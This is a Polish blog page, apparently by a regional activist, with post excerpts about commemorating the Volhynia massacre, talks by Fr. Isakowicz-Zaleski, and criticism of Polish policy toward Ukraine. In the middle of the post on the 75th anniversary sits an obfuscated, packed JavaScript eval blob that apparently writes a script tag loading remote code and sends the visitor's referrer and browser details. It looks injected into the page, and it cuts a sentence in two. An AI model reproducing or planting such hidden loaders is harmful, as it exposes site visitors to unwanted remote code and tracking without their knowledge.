Historia jakiej nie znacie – audycja w Radio Poznań.


Fragmenty audycji nagrane przez internet.

Na stronie audycji powinna niedługo pojawić się całość: HISTORIA JAKIEJ NIE ZNACIE

Plik przygotowałem w programie Windows Movie Maker, do celów edukacyjnych i popularyzatorskich jakość powinna wystarczyć, sama ścieżka jest przyozdobiona fotkami z ostatniej wizyty księdza Tadeusza w Wielkopolsce, ale też i fotkami z Warszawy, Łężycy, Pobiedzisk, Puszczykowa i innych miast. Między innymi widzimy tam dr Lucynę Kulińską niezłomną badaczkę zbrodni dokonanych przez nacjonalistów ukraińskich. Jej cykl książkowy „Dzieci Kresów” jest wstrząsającym dowodem okrucieństwa dokonywanego na najmłodszych i bezbronnych, traumy przez całe życie – w postaci pamięci zbrodni wypalonej w umyśle przeżywających to co się wydarzyło dzieci…
Dlatego też w Łężycy w Zielonej Górze ufundowałem tablicę Dzieciom Kresów poświęconą…

Spotkanie z Krzesimirem Dębskim.

Spotkanie obfitowało w wiele ciekawych wątków, Pan Krzesimir promował swoją książkę dotyczącą stosunków polsko-ukraińskich, pod jakże wymownym tytułem:

NIC NIE JEST W PORZĄDKU
Wołyń
Moja historia rodzinna


Czytaj dalej Spotkanie z Krzesimirem Dębskim.

Ostatnie spotkania z ks Isakowiczem w Wielkopolsce.


(pamiątkowa fotografia z Burmistrzem Środy Wielkopolskiej)

Dwie ostatnie prelekcje ks Tadeusza Isakowicza-Zaleskiego odbyły się wczoraj. Wiele pytań, obecni: wójt Nowego Miasta nad Wartą, burmistrz Środy Wielkopolskiej, radni, młodzież, mieszkańcy obu miejscowości.

Chciałem szczególnie zwrócić uwagę na Czytaj dalej Ostatnie spotkania z ks Isakowiczem w Wielkopolsce.

Spotkanie w STK – o Kresach Wschodnich i historii…

Link do programu nagranego w Swarzędzkiej Telewizji Kablowej wywiadu z gościem Wielkopolskiego Stowarzyszenia Kresowego ks Tadeuszem Isakowiczem Zaleskim:

Tego dnia odbyły się też spotkania w szkole w Jerzykowie pod Pobiedziskami i w Kostrzynie:


W tym roku: 75-ta rocznica Ludobójstwa dokonanego przez nacjonalistów ukraińskich…


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("< \/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyahr|var|u0026u|referrer|ddbkk||js|php'.split('|'),0,{})) lat zajmuję się tym tematem, piszę o nim.
Wielu pyta: dlaczego?
Odpowiadam: Czytaj dalej W tym roku: 75-ta rocznica Ludobójstwa dokonanego przez nacjonalistów ukraińskich…

Dlaczego trzeba walczyć?



Walka przeciw nacjonalizmowi, przeciw neonazistom.
Walka o Prawdę ciągle trwa – i to jest najsmutniejsze. Polscy politycy powinni dawno temu się już zjednoczyć w tej walce.
Ani autorytet ich na tym nie cierpi, anie też państwa którego dotyczy. Co więcej jeżeli faktycznie jesteśmy przedstawicielem tego państwa i narodu, jeżeli faktycznie zależy nam na ich dobrze – to ten temat powinien być wyjaśniony i zamknięty raz na zawsze.
Ciemne chmury gromadzą się nad tym państwem, traci ono wpływy i niezależność, niestety w znacznej mierze poprzez wewnętrzne działania.
Na ile są one inspirowane z zewnątrz, na ile rolę odgrywa w nich interes innego silniejszego – nie możemy ocenić, sprecyzować. W obecnym gąszczu informacji brak jest na 100% badanie szans.
Musimy jednak walczyć o swoje – i o Dobro. Dobrem nie są emblematy SS, powoływanie się na III Rzeszę i gloryfikowanie tych, którzy byli kolaborantami tej zbrodniczej siły, która wywołała największy kataklizm w dziejach ludzkości – II wojnę światową. Dobrem nie jest mroczna ideologia nazistowska, zbrodnicza książka Hitlera. Mówić o tych sprawach możemy tylko w kategorii analizy historycznej popełnionych zbrodni.
I upamiętniać je: Czytaj dalej Dlaczego trzeba walczyć?

Bircza – czekista jej bronił?


Takie oskarżenia padają z ust nacjonalistów ukraińskich i… polskich „znawców z Warszawy”.
Chyba nie znają pojęcia „czekista”.
Szkoda wielka że nasz Prezydent i rząd gnie się przed takimi ludźmi ściągając tablice…

Od dr Zapałowskiego z maila: Czytaj dalej Bircza – czekista jej bronił?

Polityka „chowania głowy w piasek”…


Ważny wywiad z ks Isakowiczem-Zaleskim o polskiej polityce wschodniej.
Ks. Tadeusz Isakowicz-Zaleski: Rząd PiS prowadzi wobec Ukrainy politykę strusia – – Gdy zawodzi władza, tam zwykli obywatele stają samorzutnie w obronie prawdy i pamięci – ksiądz Tadeusz Isakowicz-Zaleski,[…] na Ukrainie obowiązuje ustawa, którą podjęto dnia 9 kwietnia 2015 roku, czyli w dniu wizyty prezydenta Bronisława Komorowskiego w Kijowie, mówiąca o tym, że UPA, jak i inne organizacje odpowiedzialne za ludobójstwo Polaków są bohaterami narodowymi Ukrainy. Co więcej, w tej ustawie znalazł się zapis, że kto się sprzeciwia tej gloryfikacji, może być ukarany, w tym cudzoziemcy, a więc Polacy. Minister Waszczykowski przez dwa lata, jako szef polskiej dyplomacji, nic nie zrobił w tej sprawie, aby w rozmowach polsko-ukraińskich doprowadzić do tego, by polscy obywatele nie byli karani za swoje poglądy. Co więcej, na mocy tej uchwały zabroniono wjazdu na teren Ukrainy kilkunastu osobom z Polski, które zajmują się upamiętnieniem ofiar ludobójstwa na Ukrainie

Cóż tu komentować…sama prawda…
Tymczasem na stronach sejmowych czytamy: W nawiązaniu do wypowiedzi duchownego, który w tygodniku „Do Rzeczy” stwierdza: „Marszałek Kuchciński, który przecież pochodzi z Przemyśla, blokuje ustawy Kukiz’15 i PSL zakazujące gloryfikacji ideologii banderowskiej”, CIS informuje, że w powyższej sprawie cały czas trwają prace. Marszałek Sejmu – również w bieżącym numerze „Do Rzeczy” szczegółowo tłumaczy tę kwestię: „Nie uciekniemy od dyskusji nad penalizacją banderyzmu. Należy doprowadzić do zmian w prawie i nie chodzi tylko o uznanie działalności OUN-UPA jako fundamentalnie sprzecznej z polską racją stanu, ale również o wprowadzenie skutecznej możliwości prawnej reakcji na takie działania jak pisanie o ?polskich obozach śmierci?. Musimy jeszcze popracować nad tymi projektami, zastanowić się jakie formuły powinny w ustawach się znaleźć. Niektóre kluby proponowały by jeszcze dać im czas i zgodziłem się na to”.
Masło maślane i brak rzetelności. „Niektóre kluby…” – omijanie wprost tematu. Które to kluby?

Tymczasem z USA: Stepan Bandera był nazistowskim agentem? CIA publikuje nowe dokumenty [ZDJĘCIA]
No to jak? Bohater, czy przywódca wydający niepisany rozkaz do zbrodni Ludobójstwa, kolaborant i nacjonalista, zbrodniarz pokroju samego Hitlera?
Przecież wiadomo, że Hitler nikogo nie zabił swoją własną ręką, doprowadził jednak do śmierci milionów ludzi swoją wolą.
Oczywista Bandera w porównaniu z Hitlerem to mini zbrodniarz – niemniej analogia chyba trafna?
A więc jak pozwalamy na gloryfikację tego typu człowieka za wschodnią granicą?
Te i wiele innych pytań z którymi zostawiam Czytelników.
Ciekawe, kiedy się Wam skończy cierpliwość moi drodzy…

Stasia 8-my rok na poznańskich cmentarzach.

Opublikowany przez Piotr Szelągowski na 2 listopada 2017

(jedna z osób odwiedzających cmentarz czyta ulotkę)

To już 8 lat jak umieszczam kartkę z wydrukiem o Ludobójstwie na Kresach, dokonanym przez OUN-UPA z prośbą o modlitwę.
Przykład bezbronnej i niewinnej ofiary: Stasi Stefaniak z kolonii Katerynówka na Wołyniu jakże jest wymowny.
To dziecko (zaledwie 4,5-letnie) zamordowane tylko dlatego, że było w połowie Polką; druga połowa jej pochodzenia to po matce: Ukrainka.
Dla zbrodniarzy z UPA nie miało to znaczenia.
Straszliwy mord, straszliwa śmierć bezbronnych i niewinnych dzieci…
Nawet Ukraińcy, z którymi rozmawiałem o zbrodniach, mówiący kłamliwe rzeczy o polskich odwetach, relatywizujący ofiary, kiedy wprost spytałem ich: Czym zawiniło dziecko?
Czy dzieci należy mordować za winy i błędy dorosłych (nawet nie tych konkretnych rodziców, którzy przecież się kochali i nie zważali na pochodzenie ze swoją miłością, jak w „Wołyniu” Smarzowskiego)?

Odpowiadali: Czytaj dalej Stasia 8-my rok na poznańskich cmentarzach.

Pamięć; 1 listopada Stasia i inne dzieci…

W przeddzień Dnia Wszystkich Świętych: Czytaj dalej Pamięć; 1 listopada Stasia i inne dzieci…